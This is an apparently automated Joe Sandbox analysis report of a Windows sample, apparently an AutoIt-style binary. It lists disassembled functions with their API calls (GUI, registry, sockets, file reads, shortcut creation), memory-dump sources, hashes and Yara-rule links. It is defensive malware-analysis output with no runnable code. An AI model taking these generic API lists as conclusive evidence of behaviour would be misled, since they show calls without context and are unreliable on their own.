Part of subcall function 007C600E: GetStockObject.GDI32(00000011), ref: 007C6060
Part of subcall function 007C600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 007C606A

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00854112
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 0085411F
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 0085412A
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00854139
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00854145

Strings

Msctls_Progress32, xrefs: 008540E3

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 0443d26079f5f24e42d7c802f38c4aed6b1e76811dba5c03a45f5cabecdc6a0f
Instruction ID: 1b8eb47718b7362f9d49c91e44d1afd5e88808585149b9dced74be19a6ccf51d
Opcode Fuzzy Hash: 0443d26079f5f24e42d7c802f38c4aed6b1e76811dba5c03a45f5cabecdc6a0f
Instruction Fuzzy Hash: BD1190B218021DBEEF119E64CC85EE77FADFF18798F105111BA18E2190C6769C619BA4

Function 007FD7DF Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 007FD7A3: _free.LIBCMT ref: 007FD7CC

_free.LIBCMT ref: 007FD82D

Part of subcall function 007F29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,007FD7D1,00000000,00000000,00000000,00000000,?,007FD7F8,00000000,00000007,00000000,?,007FDBF5,00000000), ref: 007F29DE
Part of subcall function 007F29C8: GetLastError.KERNEL32(00000000,?,007FD7D1,00000000,00000000,00000000,00000000,?,007FD7F8,00000000,00000007,00000000,?,007FDBF5,00000000,00000000), ref: 007F29F0

_free.LIBCMT ref: 007FD838
_free.LIBCMT ref: 007FD843
_free.LIBCMT ref: 007FD897
_free.LIBCMT ref: 007FD8A2
_free.LIBCMT ref: 007FD8AD
_free.LIBCMT ref: 007FD8B8

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
Instruction ID: 8956c552c3231eaeca6cd31189136c557aecdf09ecc86ff17c0af1eb67743721
Opcode Fuzzy Hash: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
Instruction Fuzzy Hash: 3811D07158170CEAD531FFB0CC4BFEB7BDD6F05700F404815B399AA6A2D669B9054A60

Function 0082DA5A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 0082DA74
LoadStringW.USER32(00000000), ref: 0082DA7B
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 0082DA91
LoadStringW.USER32(00000000), ref: 0082DA98
MessageBoxW.USER32(00000000,?,?,00011010), ref: 0082DADC

Strings

%s (%d) : ==> %s: %s %s, xrefs: 0082DAB9

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: HandleLoadModuleString$Message
String ID: %s (%d) : ==> %s: %s %s
API String ID: 4072794657-3128320259
Opcode ID: a943e74e9cd9758b72e2b4fd4559bd38a2cc5c2f25927f4a9e0040bdcb8c8a41
Instruction ID: 911b50cd9b55a526dcc1e754163492e4b9f128b59d2b195dce1b40862b0d9a8a
Opcode Fuzzy Hash: a943e74e9cd9758b72e2b4fd4559bd38a2cc5c2f25927f4a9e0040bdcb8c8a41
Instruction Fuzzy Hash: 3F0162F25003187FE710ABE49D89EEB376CF708306F404495B746E2041EA789E848F74

Function 0083096B Relevance: 10.5, APIs: 7, Instructions: 35synchronizationthreadCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(0107DFE8,0107DFE8), ref: 0083097B
EnterCriticalSection.KERNEL32(0107DFC8,00000000), ref: 0083098D
TerminateThread.KERNEL32(?,000001F6), ref: 0083099B
WaitForSingleObject.KERNEL32(?,000003E8), ref: 008309A9
CloseHandle.KERNEL32(?), ref: 008309B8
InterlockedExchange.KERNEL32(0107DFE8,000001F6), ref: 008309C8
LeaveCriticalSection.KERNEL32(0107DFC8), ref: 008309CF

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: 64072677c92868a2ad7608ed1a067b0fee388a7d3624dc176e23028ab899c9bf
Instruction ID: de54cd6122c0304fce091d4ca059bd18da45b45bc087406504ae3a5680c0b80f
Opcode Fuzzy Hash: 64072677c92868a2ad7608ed1a067b0fee388a7d3624dc176e23028ab899c9bf
Instruction Fuzzy Hash: 08F0C932442B12AFD7515BA4EE89BDABA69FF45703F802025F202948A1CB7994A5CF91

Function 00841C60 Relevance: 9.3, APIs: 6, Instructions: 298networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 00841DC0
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00841DE1
WSAGetLastError.WSOCK32 ref: 00841DF2
htons.WSOCK32(?,?,?,?,?), ref: 00841EDB
inet_ntoa.WSOCK32(?), ref: 00841E8C

Part of subcall function 008239E8: _strlen.LIBCMT ref: 008239F2

Part of subcall function 00843224: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,00000000,?,?,?,?,0083EC0C), ref: 00843240

_strlen.LIBCMT ref: 00841F35

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: _strlen$ByteCharErrorLastMultiWidehtonsinet_ntoa
String ID:
API String ID: 3203458085-0
Opcode ID: 4f45bca50f48086f563cf10cdaaeeb2d43e6a2ec96d0f03ae9af8950cbb3fe2f
Instruction ID: 86b3f3fbc2f8b9bbe834522f3fe5681261ff60ec7ef43ee8aad1927d4332bec1
Opcode Fuzzy Hash: 4f45bca50f48086f563cf10cdaaeeb2d43e6a2ec96d0f03ae9af8950cbb3fe2f
Instruction Fuzzy Hash: CDB1CE31204344AFCB24DF24C889F2ABBA5FF85318F54855CF4569B2A2DB35ED86CB91

Function 007C5D0A Relevance: 9.3, APIs: 6, Instructions: 276COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 007C5D30
GetWindowRect.USER32(?,?), ref: 007C5D71
ScreenToClient.USER32(?,?), ref: 007C5D99
GetClientRect.USER32(?,?), ref: 007C5ED7
GetWindowRect.USER32(?,?), ref: 007C5EF8

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: 6b0633d66ba4efcbdbd017e14ec76644f7145fe568418c2286e691b47ed0520d
Instruction ID: 271895621ad5fa9abeff797ad1726d9ebbf2c521804b77f604c24ad82d709fa3
Opcode Fuzzy Hash: 6b0633d66ba4efcbdbd017e14ec76644f7145fe568418c2286e691b47ed0520d
Instruction Fuzzy Hash: 08B16C74A0074ADBDB14CFA9C880BEAB7F1FF54310F14951EE8A9D7290DB34AA91DB50

Function 007F01B7 Relevance: 9.3, APIs: 6, Instructions: 269COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 007F00BA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 007F00D6
__allrem.LIBCMT ref: 007F00ED
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 007F010B
__allrem.LIBCMT ref: 007F0122
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 007F0140

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: 8fbb49ba762f8ece8e29681380aa111ddf72d6c7443a1a5a7b6c612577c50f6c
Instruction ID: ed8eba516debf7e20e25c71bd34530234b0fa90510db3706a9678172983557d1
Opcode Fuzzy Hash: 8fbb49ba762f8ece8e29681380aa111ddf72d6c7443a1a5a7b6c612577c50f6c
Instruction Fuzzy Hash: 19810772601B0ADBEB209F69CC45B7E73E9EF45724F24453AF611D6782EB78D9008790

Function 007F61FE Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,007E82D9,007E82D9,?,?,?,007F644F,00000001,00000001,8BE85006), ref: 007F6258
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,007F644F,00000001,00000001,8BE85006,?,?,?), ref: 007F62DE
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,8BE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 007F63D8
__freea.LIBCMT ref: 007F63E5

Part of subcall function 007F3820: RtlAllocateHeap.NTDLL(00000000,?,00891444,?,007DFDF5,?,?,007CA976,00000010,00891440,007C13FC,?,007C13C6,?,007C1129), ref: 007F3852

__freea.LIBCMT ref: 007F63EE
__freea.LIBCMT ref: 007F6413

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: eaaf6021a9a93cb59f66526b31929e39d02f2097c901a8d9bbb63a21ad703f57
Instruction ID: 6715f12537c7d57216114b8bdac2c7034369b8e75b393cbb4050d110aff48719
Opcode Fuzzy Hash: eaaf6021a9a93cb59f66526b31929e39d02f2097c901a8d9bbb63a21ad703f57
Instruction Fuzzy Hash: C051F072A0021AAFEB258F64CC85EBF77AAEF54750F154229FE05D7240EB38DC44D6A1

Function 0084BBDB Relevance: 9.2, APIs: 6, Instructions: 191registryCOMMON

Download Yara Rule

APIs

Part of subcall function 007C9CB3: _wcslen.LIBCMT ref: 007C9CBD

Part of subcall function 0084C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0084B6AE,?,?), ref: 0084C9B5
Part of subcall function 0084C998: _wcslen.LIBCMT ref: 0084C9F1
Part of subcall function 0084C998: _wcslen.LIBCMT ref: 0084CA68
Part of subcall function 0084C998: _wcslen.LIBCMT ref: 0084CA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0084BCCA
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0084BD25
RegCloseKey.ADVAPI32(00000000), ref: 0084BD6A
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 0084BD99
RegCloseKey.ADVAPI32(?,?,00000000), ref: 0084BDF3
RegCloseKey.ADVAPI32(?), ref: 0084BDFF

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpperValue
String ID:
API String ID: 1120388591-0
Opcode ID: 48c8ef1722f0ce60ad9867fae2f8ff76e692b52d24d971f74b3f9cbc987e6652
Instruction ID: f988809f679c0635ead9d6dbef5c888ea947a191ae3485fdf042b5734f62e7d5
Opcode Fuzzy Hash: 48c8ef1722f0ce60ad9867fae2f8ff76e692b52d24d971f74b3f9cbc987e6652
Instruction Fuzzy Hash: BE817B30208245EFD714DF24C895E2ABBE5FF84308F14899CF5598B2A2DB36ED45CB92

Function 0081F7AD Relevance: 9.2, APIs: 6, Instructions: 183memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000035), ref: 0081F7B9
SysAllocString.OLEAUT32(00000001), ref: 0081F860
VariantCopy.OLEAUT32(0081FA64,00000000), ref: 0081F889
VariantClear.OLEAUT32(0081FA64), ref: 0081F8AD
VariantCopy.OLEAUT32(0081FA64,00000000), ref: 0081F8B1
VariantClear.OLEAUT32(?), ref: 0081F8BB

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Variant$ClearCopy$AllocInitString
String ID:
API String ID: 3859894641-0
Opcode ID: 4ceeeca25f762584362b3ba9dd50b01425d8606a5d1d04193dcf8f786b21fd53
Instruction ID: 73e8122d6cefbca35046737789ff8a7271073ac84d1546510e992fca1a098e53
Opcode Fuzzy Hash: 4ceeeca25f762584362b3ba9dd50b01425d8606a5d1d04193dcf8f786b21fd53
Instruction Fuzzy Hash: 4251D731600314FACF10AB65D895BA9B7ACFF45714F14446BEA06DF293DB748C80CB96

Function 0083910C Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 383COMMON

Download Yara Rule

APIs

Part of subcall function 007C7620: _wcslen.LIBCMT ref: 007C7625

Part of subcall function 007C6B57: _wcslen.LIBCMT ref: 007C6B6A

GetOpenFileNameW.COMDLG32(00000058), ref: 008394E5
_wcslen.LIBCMT ref: 00839506
_wcslen.LIBCMT ref: 0083952D
GetSaveFileNameW.COMDLG32(00000058), ref: 00839585

Strings

X, xrefs: 00839412

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: _wcslen$FileName$OpenSave
String ID: X
API String ID: 83654149-3081909835
Opcode ID: 4d0d229521c811199f825726e6427c7694524419ccfff37eee27d2e8e4fe7118
Instruction ID: 35e41e0421134ae870bef4a11cf93c82e201c3e807e16c8c31cef6d249249b5a
Opcode Fuzzy Hash: 4d0d229521c811199f825726e6427c7694524419ccfff37eee27d2e8e4fe7118
Instruction Fuzzy Hash: 14E16B71608340DFC724EF24C885A6AB7E0FF84314F04896DE9999B3A2DB75ED45CB92

Function 007D920C Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 007D9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 007D9BB2

BeginPaint.USER32(?,?,?), ref: 007D9241
GetWindowRect.USER32(?,?), ref: 007D92A5
ScreenToClient.USER32(?,?), ref: 007D92C2
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 007D92D3
EndPaint.USER32(?,?,?,?,?), ref: 007D9321
Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 008171EA

Part of subcall function 007D9339: BeginPath.GDI32(00000000), ref: 007D9357

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: BeginPaintWindow$ClientLongPathRectRectangleScreenViewport
String ID:
API String ID: 3050599898-0
Opcode ID: 1a00b00203fde40182a5236aafc9bae5ebbc3e0046e28ed1cfe3c0a8fff1b369
Instruction ID: d61d1f1d733c9b3c4b5939b8cd8995f0406f0e548fea6f3f3908935a97a6d993
Opcode Fuzzy Hash: 1a00b00203fde40182a5236aafc9bae5ebbc3e0046e28ed1cfe3c0a8fff1b369
Instruction Fuzzy Hash: 77418C70108301AFDB11EF24CC88FAA7BB8FF55721F14062AFA95D72A1C735A845DB61

Function 008307EF Relevance: 9.1, APIs: 6, Instructions: 107fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 0083080C
ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 00830847
EnterCriticalSection.KERNEL32(?), ref: 00830863
LeaveCriticalSection.KERNEL32(?), ref: 008308DC
ReadFile.KERNEL32(?,?,0000FFFF,00000000,00000000), ref: 008308F3
InterlockedExchange.KERNEL32(?,000001F6), ref: 00830921

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection$EnterLeave
String ID:
API String ID: 3368777196-0
Opcode ID: af1653edbb25175097c4a75c3fbf017ffea782fca1d2d34d8cf4f636b5f2ae32
Instruction ID: d1e5b2c28ffabfba200ff7a1fac268246939e6d7570037f0eaf032b299d6da22
Opcode Fuzzy Hash: af1653edbb25175097c4a75c3fbf017ffea782fca1d2d34d8cf4f636b5f2ae32
Instruction Fuzzy Hash: 0A415771900205EFDF14AF64DC85A6ABBB9FF44300F1440A9ED05EA296DB34DE64DFA0

Function 008581DB Relevance: 9.1, APIs: 6, Instructions: 104windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,00000000,?,00000000,00000000,?,0081F3AB,00000000,?,?,00000000,?,0081682C,00000004,00000000,00000000), ref: 0085824C
EnableWindow.USER32(?,00000000), ref: 00858272
ShowWindow.USER32(FFFFFFFF,00000000), ref: 008582D1
ShowWindow.USER32(?,00000004), ref: 008582E5
EnableWindow.USER32(?,00000001), ref: 0085830B
SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 0085832F

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 938831d43b666dd30ccaaff32535fc2e85cf5160df0e072278d960e8e884d25f
Instruction ID: 2c6d77b5c18af4ec93a42cd992b7f24bb18de8c1c3a2baade0a7be2ee50a7b6c
Opcode Fuzzy Hash: 938831d43b666dd30ccaaff32535fc2e85cf5160df0e072278d960e8e884d25f
Instruction Fuzzy Hash: F5418234601645EFDF12DF25C899BE47FE1FB0A716F18416AE908DB262CB31A849CF50

Function 00824C7D Relevance: 9.1, APIs: 6, Instructions: 87windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00824C95
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00824CB2
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00824CEA
_wcslen.LIBCMT ref: 00824D08
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00824D10
_wcsstr.LIBVCRUNTIME ref: 00824D1A

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen_wcsstr
String ID:
API String ID: 72514467-0
Opcode ID: af086345dba348d901be15b702991eb19242a9775485944d9fc6782d53e5dafe
Instruction ID: dd28442d4a90dabbddc1ca86ba346355c9f8b34949571d950fc34e65d50abc23
Opcode Fuzzy Hash: af086345dba348d901be15b702991eb19242a9775485944d9fc6782d53e5dafe
Instruction Fuzzy Hash: AA212931204214BBEB155B39FC09E7B7BECEF45750F10507EF805CA192EA65DD4086B0

Function 0083581E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 336comCOMMON

Download Yara Rule

APIs

Part of subcall function 007C3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,007C3A97,?,?,007C2E7F,?,?,?,00000000), ref: 007C3AC2

_wcslen.LIBCMT ref: 0083587B
CoInitialize.OLE32(00000000), ref: 00835995
CoCreateInstance.OLE32(0085FCF8,00000000,00000001,0085FB68,?), ref: 008359AE
CoUninitialize.OLE32 ref: 008359CC

Strings

.lnk, xrefs: 00835876, 008358C1, 00835985

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
